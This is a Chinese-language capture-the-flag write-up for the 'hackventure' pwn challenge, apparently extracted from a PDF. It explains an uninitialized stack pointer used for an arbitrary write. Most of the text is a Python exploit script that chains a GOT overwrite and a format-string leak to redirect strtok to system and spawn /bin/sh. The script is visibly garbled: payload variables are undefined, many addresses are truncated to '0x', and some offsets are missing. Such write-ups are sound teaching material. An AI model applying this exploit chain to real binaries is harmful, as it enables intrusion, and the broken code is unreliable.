玩家 hacker 的结构体 : 地图的结构体 : 漏洞位置 : 在 local_attack 的时候, 使用了未初始化的变量, 如下图所示 : 其中 pointer_on_stack 指针放在栈上, 只有满足条件的时候, 才会被赋值, 所以如果能 够让 pointer_on_stack 不被赋值,

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1 hackventure 题目简介 感觉找了个非预期的漏洞, 显得比较简单了 这道题逆向的时候发现比较熟悉, 好像是以前上海信息安全竞赛的一道题的修改版, 通 过 list 可以查看功能, 如下 : map 打印当前地图, 如下 : 其中 * 是玩家, 可以在商店 s 处买武器, 对 S 处的服务进行 attack,attack 分为两种, 本 地攻击和远程攻击 地图中各种元素的初始化位置是随机的 结构体介绍 其中较为重要的结构体如下 : Server 的结构体 :

2 玩家 hacker 的结构体 : 地图的结构体 : 漏洞位置 : 在 local_attack 的时候, 使用了未初始化的变量, 如下图所示 : 其中 pointer_on_stack 指针放在栈上, 只有满足条件的时候, 才会被赋值, 所以如果能 够让 pointer_on_stack 不被赋值, 那么就能利用栈上残留的值来进行任意地址改写 可以发现, 在条件判断的时候, 有两处的比较是不一样的, 在 server->name 有值的情

3 况下,name_len1 >= input_size 和 name_len2 > input_size 同时满足的时候能够对 server->name 赋值 如果满足 name_len1 == input_size 和 name_len2 == input_size 的时候, 能够满足第一个 if 即 server->name && (name_len1 = strlen(server->name), name_len1 >= input_size), 但是不满足 name_len2 > input_size, 所以此时的 pointer_on_stack 是未初始化的 但是后面直接有 get_buff 对该指针所指向的内容进行数据的写入, 所以可以实现任意地址写 只有在对 server 进行攻击成功后, 才能对 server 的名字进行设置 同时需要多次设置, 因为第一次的时候,server->name 是为 0 的 发现在 goodnight 命令里面, 被控制的 server 是有可能失去控制的 如下 只要失去控制, 就可以再次攻击改 server, 从而实现多次设置其名字 攻击思路 : 1. 找最近的一个服务进行 local_attack( 防止超时, 如果需要攻击的次数太多, 直接断开重连 ) 成功控制 server 后, 对其名字进行赋值, 正常设置即可 对 server 的攻击过程 : 多次往返于 home 和 server, 每次攻击 server 的能力有限, 而且自己受伤害, 所以需要回到 home 里面休息补充 hp 2. 直接回到 home, 进行休息, 直到所控制的 server 失去控制 3. 用同种方法再次攻击 server, 成功后, 对名字进行赋值, 此时控制名字的长度与第一次输入的一样长, 可以绕过检查, 直接使用栈上残留的值 4. 任意地址改写时, 可以在栈上残留个栈转移的地址, 造成栈溢出 ( 本地成功, 远程不行 ), 或者直接留下 got 地址, 如 atoi 函数的 got, 使得把 atoi_got 中填写成 printf_plt, 那么每次在 deploy 的时候, 实现格式化字符串漏洞, 从而任意地址泄露和改写 攻击思路很简单, 但是实际利用有个问题, 那就是如何去控制栈中残留的值, 在 local_attack 函数里面, 改指针所在的位置在 rbp-0x30 处,

4 通过找寻同一级别 ( 位于同一级的菜单函数 ) 的函数, 发现大部分的栈都比较小, 不好 控制 rbp-0x30 处的值, 然而, 在 deploy 命令里面, 如下图中, 可以对 buff 的值进行设置, 改 buff 刚好可以残留在栈里面 但是, 如果按照题目中直接给出的那种菜单去执行的话, 栈是会被清空的, 主要原因是, 两次命令直接可能会隔了其他函数, 如下图中,parse_args 里面的 strtok 函数, 会对很大范围的栈清空, 所以这里需要稍微留心下, 要把这两个函数连续执行, 即 deploy 完以后, 马上执行 local_attack, 即 :deploy something local_attack 一起被解析, 从而两个 menu 函数在同一个 for 循环中先后被执行 所以在前面第二次对 server 进行攻击的时候, 需要留一次 local_attack 命令, 让最后一次的 local_attack 和 deploy 一起当成命令传进去

5 脚本如下 : from zio import * local_sign = True local_sign = False if local_sign == True: target = "./hackventure" else: target = (" ", 1337) #target = ("0", 1337) def get_io(target): r_m = COLORED(RAW, "green") w_m = COLORED(RAW, "blue") io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m) return io def show_map(io): io.writeline("map") banner = " \n" io.read_until(banner) data = io.read_until(banner)[:-len(banner)]

6 map_info = data.replace(" ", "").split("\n") server_list = [] home_addr = [] store_addr = [] player_addr = [] for r_pos, row_item in enumerate(map_info): for c_pos, item in enumerate(row_item): if item == ' ': continue elif item == "H": home_addr = [r_pos, c_pos] elif item == "S": server_list.append([r_pos, c_pos]) elif item == "T": store_addr = [r_pos, c_pos] elif item == "*": player_addr = [r_pos, c_pos] return map_info, server_list, home_addr, player_addr, store_addr def choose_way(map_info, server_list, home_addr, player_addr, store_addr): now_server = [-1, -1] least_step = 1000 least_id = 0 for now_id, server_info in enumerate(server_list): steps_need = abs(server_info[0] - player_addr[0]) + abs(server_info[1] - player_addr[1]) if steps_need < least_step: least_step = steps_need least_id = now_id now_server = server_info print least_step, now_server return least_id, now_server def move_to(io, player_addr, now_target): r_diff = now_target[0] - player_addr[0] c_diff = now_target[1] - player_addr[1] r_direct = "" if r_diff > 0:

7 r_direct = "DOWN" else: r_diff = -r_diff r_direct = "UP" c_direct = "" if c_diff > 0: c_direct = "RIGHT" else: c_diff = -c_diff c_direct = "LEFT" for i in range(r_diff): move(io, r_direct) for i in range(c_diff): move(io, c_direct) def move(io, direct): payload += "go " payload += direct def explore(io): payload += "explore" def status(io): payload += "status" def local_attack(io): payload += "local_attack"

8 def goodnight(io): payload += "goodnight" def remote_attacks(io, ip_list): payload += "remote_attacks " payload += ip_list def deploy(io, name, data): payload += "deploy " payload += name io.read_until("deploy? ") io.writeline(data) def pwn_server(io, player_addr, home_addr, now_server, leave_ones = False): move_to(io, player_addr, now_server) player_addr = now_server explore(io) io.read_until("location.\n") io.read_until("hp: ") data = io.read_until("\n").strip() server_hp = int(data) io.read_until("defense: ") data = io.read_until("\n").strip() server_defense = int(data) status(io) io.read_until("profile ***\nhp: ") data = io.read_until("\n").strip() player_hp = int(data) io.read_until("attack: ") data = io.read_until("\n").strip() player_attack = int(data)

9 harm_each = player_attack - server_defense times = server_hp / harm_each if times > 16: print "try again" exit(0) if server_hp % harm_each!= 0: times += 1 while times!= 0: now_times = 4 if times <= 4: now_times = times for i in range(now_times): if leave_ones == True and times - i == 1: return now_times, server_defense, player_addr local_attack(io) times -= now_times print "times:", times if times == 0: break move_to(io, player_addr, home_addr) goodnight(io) player_addr = home_addr move_to(io, player_addr, now_server) player_addr = now_server return now_times, server_defense, player_addr def leak_data(io, addr): payload += "buy " payload += "%42$s" payload += " ExploitKit " payload = payload.ljust(0x60, "a") payload += l64(addr)

10 data = io.read_until("go away")[:-len("go away")] return data + "\x00" def leak_addr(io, addr): data = leak_data(io, addr) taddr = l64(data[:8].ljust(8, '\x00')) return taddr def modify_addr(io, addr, data): index = 42 fmt_data = "" addr_padding = "" cur_val = 0 for i in range(len(data)): val = ord(data[i]) - cur_val if val <= 0: val += 0x100 fmt_data += "%%%dc%%%d$hhn"%(val, index + i) addr_padding += l64(addr + i) cur_val = ord(data[i]) payload += "buy " #payload += "%42$s" payload += fmt_data payload += " ExploitKit " payload = payload.ljust(0x60, "a") #payload += l64(addr) payload += addr_padding io.read_until("go away") def get_shell(io): puts_got strtok_got = 0x = 0x puts_addr = leak_addr(io, puts_got) print hex(puts_addr) global local_sign if local_sign: #local

11 offset_puts = 0x f690 offset_system = 0x else: #remote offset_puts = 0x f690 offset_system = 0x libc_base = puts_addr - offset_puts system_addr = libc_base + offset_system modify_addr(io, strtok_got, l64(system_addr)[:3]) #io.gdb_hint() payload += "/bin/sh;" io.interact() def pwn(io): map_info, server_list, home_addr, player_addr, store_addr = show_map(io) now_id, now_server = choose_way(map_info, server_list, home_addr, player_addr, store_addr) now_times, server_defense, player_addr = pwn_server(io, player_addr, home_addr, now_server) io.read_until("name length? ") io.writeline("20") io.writeline("pxx".ljust(20, 'a')) move_to(io, player_addr, home_addr) player_addr = home_addr harm_each = server_defense times = 100/harm_each if 100%harm_each!= 0: times += 1 for i in range(times): goodnight(io) now_times, server_defense, player_addr = pwn_server(io, player_addr, home_addr, now_server, True)

12 payload += "deploy " payload += "test " payload += "local_attack" io.read_until("deploy? ") printf_plt = 0x atoi_got target_addr = atoi_got = 0x data = "" data += "a"*0x8 data += "b"*0x8 data += "c"*0x8 data += "d"*0x8 #data += "e"*0x8 data += l64(target_addr) data += "f"*0x8 io.writeline(data) io.read_until("name length? ") io.writeline("19") io.read_until("name? ") io.writeline(l64(printf_plt)[:-1]) move_to(io, player_addr, store_addr) get_shell(io) io = get_io(target) pwn(io)

13 flag 如下 :

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